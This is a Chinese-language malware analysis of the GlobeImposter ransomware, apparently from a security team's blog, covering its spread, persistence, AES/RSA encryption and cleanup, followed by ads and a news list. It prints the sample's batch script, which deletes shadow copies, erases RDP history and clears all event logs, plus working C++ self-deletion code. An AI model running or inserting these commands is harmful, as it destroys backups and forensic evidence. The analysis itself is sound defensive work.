GlobeImposter病毒分析
1、前言
GlobeImposter是一款2018~2019年比较活跃的勒索病毒,它的体积很小,没有网络通信行为。和wannacry一样没有对抗行为,属于比较老的勒索病毒了,适合新手入门分析。
1.1、介绍
Global勒索病毒于2017年5月首次出现,主要通过钓鱼邮件进行传播。2018年8月21日起,多地发生GlobeImposter勒索病毒事件,攻击目标主要是开启远程控制的服务器、攻击者暴力破解服务器密码,对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密,暂时无法解密。GlobeImposter勒索病毒勒索信如下图所示:

1.2、病毒特性:
常见后缀:auchentoshan、动物名+4444。 传播方法:RDP暴力破解、钓鱼邮件、捆绑软件等等。 特征:在%appdata%或%localappdata%文件夹下释放。
1.3、逻辑分析:
解密RSA公钥、后缀名和勒索文件。 持久化驻留,拷贝到%appdata%目录,添加自启动项。 遍历磁盘,创建线程循环加密所有文件,并在所有文件夹内拷贝一份勒索信。 释放脚本temp.bat,删除远程桌面连接信息文件,删除日志信息。 启动自删除。
详细分析:
一、预处理进行五次解密分别释放需要的文件
第一次解密:释放RSA公钥 第二次解密:释放加密文件后缀名和勒索文件名 第三次解密:释放加密文件后缀名和勒索文件名 第四次解密:为了确保程序的正常运行,解密不能勒索加密的文件路径名 第五次解密:释放加密文件后缀名和路径

二、持久化驻留
持久化驻留行为,将文件拷贝到appdata/local目录下,并创建Software\Microsoft\Windows\CurrentVersion\RunOnce注册表项。由于是勒索病毒,所以目的方面和木马不同。不是为了长时间驻留,窃取情报,而是防止病毒未启动,在新的一次开机时,进行启动。

三、遍历文件夹、加密文件
遍历磁盘和文件夹,创建线程使用AES进行加密。


四、勒索病毒加密过程
使用AES算法,对文件进行循环加密。如果该目录文件已经加密完成,写入勒索信。

使用RSA加密AES密钥,然后将密钥写入文件。然后对文件进行AES加密,将加密后的文件内容,写入该文件。

五、自删除行为
通过释放并运行文件temp.bat,删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe命令,删除日志信息。
@echo?off
vssadmin.exe?Delete?Shadows?/All?/Quiet
reg?delete?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Default"?/va?/f
reg?delete?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Servers"?/f
reg?add?"HKEY_CURRENT_USER\Software\Microsoft\Terminal?Server?Client\Servers"
cd?%userprofile%\documents\
attrib?Default.rdp?-s?-h
del?Default.rdp?
for?/F?"tokens=*"?%1?in?('wevtutil.exe?el')?DO?wevtutil.exe?cl?"%1"

六、程序自杀
执行 COMSPEC /c del szPath > nul 自杀程序。
测试程序如下述代码所示:
#include?<windows.h>
#include?<Shlobj.h>
#include?<iostream>
using?namespace?std;
int?main()
{
????SHELLEXECUTEINFO?sei;
????TCHAR?szModule[MAX_PATH],?szComspec[MAX_PATH],?szParams[MAX_PATH];
????//获取文件路径名。
????if?((GetModuleFileName(0,?szModule,?MAX_PATH)?!=?0)?&&
????????(GetEnvironmentVariable("COMSPEC",?szComspec,?MAX_PATH)?!=?0))
????{
????????//设置命令行参数。
????????lstrcpy(szParams,?"/c?del?");
????????lstrcat(szParams,?szModule);
????????lstrcat(szParams,?"?>?nul");
????????//初始化SHELLEXECUTEINFO结构成员
????????sei.cbSize?=?sizeof(sei);??//设置类型大小。
????????sei.hwnd?=?0;?//命令窗口进程句柄,ShellExecuteEx函数执行时设置。
????????sei.lpVerb?=?"Open";??//执行动作为“打开执行”。
????????sei.lpFile?=?szComspec;?//执行程序文件全路径名称。
????????sei.lpParameters?=?szParams;?//执行参数。
????????sei.lpDirectory?=?0;
????????sei.nShow?=?SW_HIDE;?//显示方式,此处使用隐藏方式阻止出现命令窗口界面。
????????sei.fMask?=?SEE_MASK_NOCLOSEPROCESS;?//设置为SellExecuteEx函数结束后进程退出。
????????//创建执行命令窗口进程。
????????if?(ShellExecuteEx(&sei))
????????{
????????????//设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。
????????????SetPriorityClass(sei.hProcess,?IDLE_PRIORITY_CLASS);
????????????//设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。?
????????????SetPriorityClass(GetCurrentProcess(),?REALTIME_PRIORITY_CLASS);
????????????SetThreadPriority(GetCurrentThread(),?THREAD_PRIORITY_TIME_CRITICAL);
????????????//通知Windows资源浏览器,本程序文件已经被删除。
????????????SHChangeNotify(SHCNE_DELETE,?SHCNF_PATH,?szModule,?0);
????????????//执行退出程序。
????????????exit(0);
????????}
????}
?return?0;
}

总结:
此勒索病毒样本逻辑清晰,易于分析。由于该程序加密程序无明显错误,所以想要解密需要硬刚RSA解密。RSA的公钥为4096位。位数超过了工程师能够破解的极限,想要获取私钥,需要密码学家的进一步支持。
MD5:
C120F323C78D046C991F0EFE45F3819C
Reference:
[1] 《网络安全应急响应——技术实战指南》 [2] ?https://blog.csdn.net/weixin_30566111/article/details/95912042 [3] ?https://it.rising.com.cn/fanglesuo/19531.html [4] ?https://www.freebuf.com/articles/system/163792.html
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中国经济向世界提供“机遇清单” 7904095
- 2 朱元璋换帅照后明孝陵火了 7808808
- 3 水银体温计将禁产 有网友囤货100支 7714655
- 4 2025这些“经济”持续成长壮大 7615970
- 5 近8000吨车厘子来了 7520778
- 6 老人接孙女从认不出到相拥大哭 7427839
- 7 冯提莫自曝癌症复发并转移 7333613
- 8 喜茶600多家店消失 7238585
- 9 财政部发7500亿特别国债 个人不能买 7139400
- 10 寒潮来袭!多地气温将创下半年来新低 7040480

Chamd5安全团队
